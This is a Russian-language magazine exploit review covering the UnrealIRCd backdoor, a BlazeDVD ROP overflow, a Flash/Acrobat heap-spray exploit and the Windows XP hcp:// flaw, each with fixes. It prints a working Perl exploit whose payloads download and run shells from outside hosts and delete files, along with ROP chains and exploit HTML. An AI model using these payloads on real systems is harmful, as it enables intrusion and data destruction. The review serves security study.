Обзор эксплойтов

Несмотря на то, что все больше и больше разработчиков в курсе проблем информационной безопасности, уязвимости находятся все чаще и чаще.

Зато эксплойты становятся все сложнее и сложнее. То есть, если раньше достаточно было просто найти уязвимость, то теперь еще надо понять, как ее реализовать в виде эксплойта. Времена меняются. Теперь это не только state-of-art, но также и бизнес, и криминал. Но и там и там по обе стороны баррикад есть талантливые и умные люди, результат работы которых представлен здесь, на этих страницах.

Выполнение произвольного кода через бэкдор в UNREAL IRCD

CVE

• CVE-2010-2075

TARGETS

• Unreal IRCD v. 3.2.8.1

BRIEF

Начнем сегодняшний обзор с проблемы в известном IRC-демоне — Unreal IRCD. Да, еще не так давно IRC было для нас всех важнейшим каналом общения. В те времена еще не существовал ни Facebook, ни Twitter, и люди охотно обменивались байтами в консольном режиме. С тех пор утекло не так много воды, и поэтому IRC — по-прежнему полноценный и популярный сервис. И тем обиднее/веселее (нужное подчеркнуть), что некие злодеи, видимо, фанаты WEB 2.0, желающие захватить мир, внедрили бэкдор (BackDoor — черный вход) в исходные коды дистрибутива Unreal IRCD.

«Затрояненная» версия IRC-демона лежала на зеркальных серверах аж с ноября 2009 года по июнь нынешнего года. Надо полагать, что за это время множество добрых и честных людей успели установить данное ПО. Этот факт был обнаружен создателями демона, о чем они со множеством извинений и донесли до широкой общественности.

EXPLOIT

Широкая общественность пожелала создать эксплойт, который использует бэкдор в Unreal IRCD, для своих корыстных целей. Даже в состав Metasploit’а добавили соответствующий модуль.

Посмотрим, что же представляет собой этот бэкдор. Как оказалось, сам бэкдор — это четыре строчки в исходных кодах, первым делом были добавлены две строчки в модуль s_bsc.c, в функцию read_ packet(). Эта функция читает и обрабатывает все входящие пакеты. Считанные данные помещаются в переменную readbuf. Сразу после того, как данные были считаны из сокета, в дело вступают силы зла, а вернее, две строчки, внедренные в эту милую функцию злоумышленниками:

#ifdef DEBUGMODE3
if (!memcmp(readbuf, DEBUGMODE3_INFO, 2))
DEBUG3_LOG(readbuf);
#endif

Тут идет сравнение первых двух байт считанных данных с некими статическими байтами, определенными за DEBUGMODE3_INFO (если определен DEBUGMODE3). Если байты совпадают, то далее считанные данные переходят в DEBUG3_LOG(). Что же это за определения? А это на самом деле макросы, добавленные в файл struct.h.

#define DEBUGMODE3 ((x)->flags & FLAGS_NOFAKELAG)
. . .
#ifdef DEBUGMODE3
#define DEBUGMODE3_INFO "AB"
#define DEBUG3_LOG(x) DEBUG3_DOLOG_SYSTEM (x)
. . .
#define DEBUG3_DOLOG_SYSTEM(x) system(x)

Резюмирую увиденное: при считывании каждого входящего пакета бэкдор сравнивает первые два байта данных с последовательностью «AB». Если совпадение есть, то содержимое данных передается вызову system(), то есть на исполнение в операционку.

Эксплойт:

#!/usr/bin/perl
# Unreal3.2.8.1 Remote Downloader/Execute Trojan
# DO NOT DISTRIBUTE -PRIVATE# -iHaq (2l8)
use Socket;
use IO::Socket;
## Payload options
# Различные «нагрузки». По сути команды — это любые
# команды для оболочки unix/linux, начинающиеся с
«AB;».
# Первые два байта гарантируют, что бэкдор передаст
# все в system(); - чтобы выполнилась без проблем
# остальная часть данных.
my $payload1 = 'AB; cd /tmp; wget http://
packetstormsecurity.org/groups/synnergy/bindshellunix
-O bindshell; chmod +x bindshell; ./bindshell &';
my $payload2 = 'AB; cd /tmp; wget http://efnetbs.webs.
com/bot.txt -O bot; chmod +x bot; ./bot &';
my $payload3 = 'AB; cd /tmp; wget http://efnetbs.webs.
com/r.txt -O rshell; chmod +x rshell; ./rshell &';
my $payload4 = 'AB; killall ircd';
my $payload5 = 'AB; cd ~; /bin/rm -fr ~/*;/bin/rm -fr
*';
$host = "";
$port = "";
$type = "";
$host = @ARGV[0];
$port = @ARGV[1];
$type = @ARGV[2];
if ($host eq "") { usage(); }
if ($port eq "") { usage(); }
if ($type eq "") { usage(); }
sub usage {
printf "\nUsage :\n";
printf "perl unrealpwn.pl <host> <port> <type>\n\n";
printf "Command list :\n";
printf "[1] - Perl Bindshell\n";
printf "[2] - Perl Reverse Shell\n";
printf "[3] - Perl Bot\n";
printf "-----------------------------\n";
printf "[4] - shutdown ircserver\n";
printf "[5] - delete ircserver\n";
exit(1);
}
sub unreal_trojan {
my $ircserv = $host;
my $ircport = $port;
# инициируем соединение
my $sockd = IO::Socket::INET->new (PeerAddr =>
$ircserv, PeerPort => $ircport, Proto => "tcp") || die
"Failed to connect to $ircserv on $ircport ...\n\n";
print "[+] Payload sent ...\n";
# отсылка злого контента
if ($type eq "1") {
print $sockd "$payload1";
} elsif ($type eq "2") {
print $sockd "$payload2";
} elsif ($type eq "3") {
print $sockd "$payload3";
} elsif ($type eq "4") {
print $sockd "$payload4";
} elsif ($type eq "5") {
print $sockd "$payload5";
} else {
printf "\nInvalid Option ...\n\n";
usage();
}
close($sockd);
exit(1);
}
unreal_trojan();
# EOF

SOLUTION

Проверить исходные коды, из которых собран демон, на наличие шести троянских строк или, что будет проще, проверить MD5-хеш архива. У затрояненой версии хеш должен быть 752e46f2d873c1679fa9 9de3f52a274d , у нормальной версии — 7b741e94e867c0a7370553fd015 06c66. Если что не так — удалить строки и пересобрать IRC-демон или скачать с официаль ного сайта (и опять-таки проверить хеш, на всякий пожарный).

Переполнение буфера в BLAZEDVD PLAYER

CVE

• N/A

TARGETS

• BlazeDVD Player 5.1

BRIEF

Об уязвимости в этом плеере известно уже достаточно давно, тем не менее я бы хотел обратить внимание на свежий эксплойт под данную уязвимость. Дело в том, что эксплойт работает в среде Windows 7, а значит, умеет обходить DEP и ASLR. Автор эксплойта — баг-хантер, известный в Сети под ником mr_me, в девичестве — Стивен Силей (Steven Seeley). Парень этот развлекается тем, что ищет дыры в различном ПО и пишет адекватные, рабочие эксплойты, за что честь ему и хвала (блог товарища — https://net-ninja.net). Хочу отметить, что состоит он в команде Corelan Security Team, создатель которой, corelanc0d3r, выпустил недавно свой 10-й туториал о том, как писать современные эксплойты, используя технику возвратно-ориентированного программирования. Неудивительно, что и этот эксплойт основан на той же идее.

EXPLOIT

Данный эксплойт создает файл плейлиста cst-blazedvd.plf, при открытии которого с помощью BlazeDVD Player выполнится фирменный шеллкод — вызов MessageBoxA с сообщением о том, что «хак» удался :). Трудности такого эксплойта в Windows 7 две. Во-первых, память, где лежит у нас шеллкод (а лежит он в стеке) является неисполняемой, поэтому шеллкод не имеет никакого морального права выполниться.

Вторая проблема — адрес функции MessageBox нам неизвестен, так как все системные библиотеки в Windows 7 имеют случайный сдвиг относительного базового адреса. Таким образом, после перехвата управления (а именно — перезаписи SEH в стеке), эксплойт должен как-то сделать стек исполняемым, например, с помощью вызова функции VirtualProtect, а еще должен как-то определить адреса используемых функций (VirtualProtect/MessageBox). Если ты читал предыдущие номера, то в курсе, что такое ROP, и с чем его едят. Если нет, то напомню — после завершения работы уязвимая функция берет из стека переписанный нами адрес возврата. Этот адрес указывает на некий участок исполняемой памяти с некими нужными инструкциями, обычно их одна-две штуки.

Эти нужные инструкции в идеале должны заканчиваться командой RETN, которая берет следующий адрес из стека, который также втиснут туда при переполнении буфера. Таким вот путем выполняется код, как бы из кусочков чужого кода. mr_me правильно заметил, что если брать такой код из библиотек самого плеера, то даже несмотря на наличие ASLR код всегда будет находиться по одному и тому же адресу. Дело в том, что плеер скомпилирован без поддержки ASLR, и поэтому все его модули всегда грузятся по одному и тому же адресу (со следующего номера я уже не буду подробно расписывать ROP, иначе Forb меня загрызет за трату ценной бумаги на такую избитую тему (и правильно сделает — прим. ред.)). Нетривиальной была и задача заставить этот ROP работать. Ведь в чем штука: во время обработки SEH блока стек содержит лишь адреса на обработчик и следующий блок. Все остальное в стеке далеко от ROP программы.

mr_me нашел в статичных модулях адрес смены значения вершины стека. Тогда процессор переходит по этому адресу (думая, что там обработчик) и выполняет изменение указателя на вершину стека:

0x616074AE : ADD ESP, 408
0x616074B4 : RETN 4
; РОП восстановлен, берем адрес и двигаем по цепочке

Таким образом, ROP-программа исполняется дальше, так как RETN 4 берет из уже изменившегося стека значения, подсунутые mr_me.

Более подробно о работе ROP можешь прочитать в моей статье, посвященной разработке эксплойта (который уже успел стать классическим... черт, себя не похвалишь, никто же...) с использованием возвратно-ориентированного программирования. Все. Больше о ROP не говорю. Ну и, конечно, эксплойт с комментариями ищи на диске.

SOLUTION

Что делать пользователям, понятное дело — обновить плеер. А вот программистам надо бы быть аккуратнее. Учитывая то, что от ошибок никто не застрахован, особенно не стоит пренебрегать /dinamicbase / G S-флагами при компиляции. И еще — в связке с SehOP все это добро позволит перестраховаться и сохранить честь, так как такой тандем практически не пробиваем.

Ошибочная обработка указателя в FLASH PLAYER

CVE

• CVE-2010-1297

TARGETS

• Adobe Acrobat Reader < 9.4
• Adobe Flash Player < 10.1

BRIEF

В очередной раз мир поразила 0day-угроза для любителей продукции Adobe. А куда деваться? Темная сторона Силы нашла уязвимость в обработке байткода SWF Flash. Что примечательно, эксплойт, разработанный тьмой, был заточен и под Acrobat Reader. Фича в том, что читалка поддерживает воспроизведение флеш-анимации, а отсюда и последствия — атака сразу на два продукта. Эксплойт этот был разреверсен и добавлен в Metasploit. Так что добро пожаловать...

EXPLOIT

Пытаясь разобраться в том, откуда пришла проблема, исследователи обратили внимание на то, что SWF-файл, который использовался для эксплуатации уязвимости и заражения бедных юзеров, был практически идентичен файлу AES-PHP.swf, который есть в свободном доступе в Сети. Собственно, отличие было лишь в одном байте, а именно — в оригинальном файле байт-код 0x66 (GetProperty) заменен на байт-код 0x40 (newfunction). Скорее всего, обнаружить эту уязвимость помог файловый фаззер.

Перед тем, как сработает SWF-файл, в PDF происходит heap-spray с помощью JavaScript. В куче создается множество страниц с шеллкодом, но не только. Для того, чтобы обойти защиту DEP, в кучу так же инжектится ROP-программа, которая с помощью системного вызова создает новый кусок исполняемой памяти и копирует туда шеллкод.

Самое интересное — это как ROP-программа из сгенерированной кучи попала в стек. Уязвимость (вставка байт-кода newfunction) приводит к возможности перезаписи указателя ECX значением 0x0C0C0C0C, после чего происходит вызов call [ecx+0c]. Научно доказано, что по этому адресу обычно бывают данные из heap-spray. Злостный хакер так рассчитал размер инжектируемых данных, что по адресу 0x0C0C0C0C + 0xC находится значение: 0x700156f. То есть фактически происходит вызов call 0x700156f. Этот адрес принадлежит BIB.dll и содержит такой вот код:

mov eax,[ecx+0x34]
; ECX все еще указывает на heap-spray (0x0C0C0C0C)
; по адресу 0x0C0C0C0C+0x34 лежит значение
0x0C0C0C0C
; что и заносится в EAX
push [ecx+0x24]
call [eax+8]
;по адресу 0x0C0C0C0C+0x8 лежит 0x70048ef
0x70048ef — адрес из той же библиотеки, и содержит следующий код:
xchg eax,esp ; EAX=0x0C0C0C0C, теперь и ESP тоже
ret ; следующая инструкция

Вот таким образом указатель на стек стал указателем на кучу из heapspray. Далее приведу содержимое кучи с пошаговой нумерацией действий (все значения равны 4 байтам, первое значение в куче — по адресу 0x0C0C0C0C).

0x7004919, # pop ecx / pop ecx / mov [eax+0xc0],1 /
pop esi / pop ebx / ret ;(шаг 3)
0xcccccccc,
0x70048ef, # xchg eax,esp / ret ;(шаг 2)
<---- 0x0C0C0C0C+0x8 = EAX+8 на шаге (1)
0x700156f, # mov eax,[ecx+0x34] / push [ecx+0x24] /
call [eax+8] ;(шаг 1)
0xcccccccc,
0x7009084, # ret (шаг 4)
0x7009084, # ret (шаг 5)
0x7009084, # ret (шаг 6)
0x7009084, # ret (шаг 7)
0x7009084, # ret (шаг 8)
0x7009084, # ret (шаг 9)
0x7009033, # ret 0x18 (шаг 10)
0x7009084, # ret
0xc0c0c0c, # <---- 0x0C0C0C0C+0x34, ESP на шаге (2)
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret (шаг 11)
0x7009084, # ret (далее обычный ROP)
....
Как видно, технику возвратно-ориентированного программирования можно использовать и без инструкций RETN. Можно выбирать инструкции до инструкции CALL или JMP, если можно контролировать регистры-указатели.

SOLUTION

Flash 10.1 не содержит этой уязвимости, так что патч-менеджмент — полезное дело. Кроме того, библиотека BIB.dll, которая используется эксплойтом, как донор инструкций, поддерживает ASLR, а посему владельцы Windows 7 могут спать спокойно — эксплойт не сработает на их системах.

Выполнение произвольного кода в Windows help centre

CVE

• CVE-2010-1885

TARGETS

• Windows XP

BRIEF

Как известно, существуют разные взгляды на политику разглашения информации об уязвимости. Господин Тэвис Орманди (Tavis Ormandy), уже не раз бывавший героем рубрики, например, придерживается взгляда о полном разглашении, если разработчик не проявил должного рвения к разработке патча. Два месяца назад он опубликовал 0day в JAVA Deployment Tool Kit, а в этот раз замахнулся на святое — на Windows XP, вернее, на его подсистему помощи. Он показал миру, как легко может быть запущен любой файл в системе, достаточно лишь жертве перейти на специально сформированную страницу. Тэвис сообщил Microsoft'у о проблемах, но, по его словам, без эксплойта его послали подальше. Спустя несколько дней Тэвис сделал эксплойт, но также сделал и публичный релиз информации об уязвимости с техническими деталями и примером эксплойта. Вскоре после этого темная сторона Силы начала использовать этот эксплойт для атаки на пользователей.

В итоге Microsoft написала гневное письмо-сообщение о том, что Google — это зло. «Э, причем тут они?» — спросишь ты. Да дело в том, что Тэвис является работником именно этой компании, где занимается разного рода security-research’ем. Но вот Google тут ни при чем; по словам Тэвиса, он делал все этот независимо от работы, в свое свободное время и ради собственного удовольствия. Комьюнити начала делится на два лагеря. Лидер Immunity написал письмо, о том, что Тэвис, конечно, поспешил, но спускать собак на него не надо. Разработчики и так живут в шоколаде — ресерчеры бесплатно ищут уязвимости, сообщают детали и ждут... иногда ждут год, иногда больше. С другой стороны, такой подход плодит заразу и был сравнен одним товарищем с кибертерроризмом. Мда. Есть и третья сторона — NO MORE FREE BUGS. Другими словами, если разработчику нужна информация об уязвимостях — пусть платит и потом делает, что хочет. Некоторые разработчики уже пошли по такому пути...

EXPLOIT

Центр Помощи и Поддержки — это ПО (helpctr.exe), которое по умолчанию имеется в винде, оно может обрабатывать URL на документы, которые начинаются со специального префикса «hcp://». Далее идет проверка, есть ли данный документ в списке доверенных. Вот, собственно, Тэвис и нашел путь, который позволяет обмануть эту проверку. Вернее, он нашел XSS в таком документе.

hcp://system/sysinfo/sysinfomain.htm?svr=<h1>test</
h1>

Документы эти находятся в привилегированной зоне, и Тэвис нашел путь исполнить произвольный код:

<script defer>eval(unescape ('Run("calc.exe")'))</script>

Однако из-за фильтра IE8 так пользователя не взломать. И вот тут наш хитрец изловчился — он воспользовался Windows Media Player... Да, да... дело в том, что этот плеер может легко вызываться из браузера, например, с помощью его ActiveX. У плеера есть возможность ходить за всяким данными по URL, поэтому, подготовив небольшой ASX-скрипт, можно указать плееру, что показывать, и куда, собственно, ему идти:

<ASX VERSION="3.0">
<PARAM name="HTMLView"
value="http://ZLOI-URL/starthelp.html"/>
<ENTRY>
<REF href="http://ZLOI-URL/bug-vs-feature.jpg"/>
</ENTRY>
</ASX>

Этого достаточно, чтобы при открытии плеером он пошел по этим линкам. REF указывает на картинку, которую гордо покажет на экране, а вот PARAM name="HTMLView" поведет плеер за дополнительными данными — starthelp.html:

<iframe src="hcp://services/search?query=anything&
topic=hcp://system/sysinfo/sysinfomain.htm%A%%A%%A
%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%
%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A
%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%
%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
A%%A%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.
htm%u003fsvr=%3Cscript%20defer%3Eeval%28unescape%
28%27Run%2528%2522calc.exe%2522%2529%27%29%29%3C/
script%3E">

Тут Тэвис использует хитрую уязвимость обработки спецсимволов в центре помощи, чтобы обойти проверку на доверенность. Дело в том, что функция не очень хорошо переводит из hex'ов в числа при раскодировке unescape-строки, поэтому в результате мы увидим калькулятор. Более того, с IE7 можно не париться из-за фильтра и сразу так и давать фреймом по... центру помощи. Однако вариант с Media Player'ом можно использовать и для кросс-браузерных атак, что Тэвис и показал:

<html><head><title>Testing HCP</title></head>
<body><h1>OK</h1>
<script>
// HCP:// Vulnerability, Tavis Ormandy, June 2010.
var asx = "http://ZLOI-URL/simple.asx"; // для плеера
// Если IE, то грузим активикс и передаем ему asx.
if (window.navigator.appName
== "Microsoft Internet Explorer") {
// Internet Explorer
var o = document.createElement("OBJECT");
o.setAttribute("classid",
"clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6");
o.openPlayer(asx); //БАХ!
// Если не IE, то открываем asx в фрейме,
// крутые браузеры сами поймут, что нужен
//медиа плеер для этого...
} else {
// Mozilla, Chrome, Etc.
var o = document.createElement("IFRAME");
o.setAttribute("src", asx);
document.body.appendChild(o); //БАХ!
}
</script>
</body></html>

Добавлю, что плеер мерзко предупреждает о том, что ему надо зачемто сходить на ZLOI-URL.

SOLUTION

• Отключить протокол hcp (удалив HKCR\HCP\shell\open) центр помощи.
• Воспользоваться патчем от Тэвиса — http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/hcphotfix.zip. Этот патч фиксит бинарник helpctr.exe, делая проверку надежной.
• Ждать патча от Microsoft.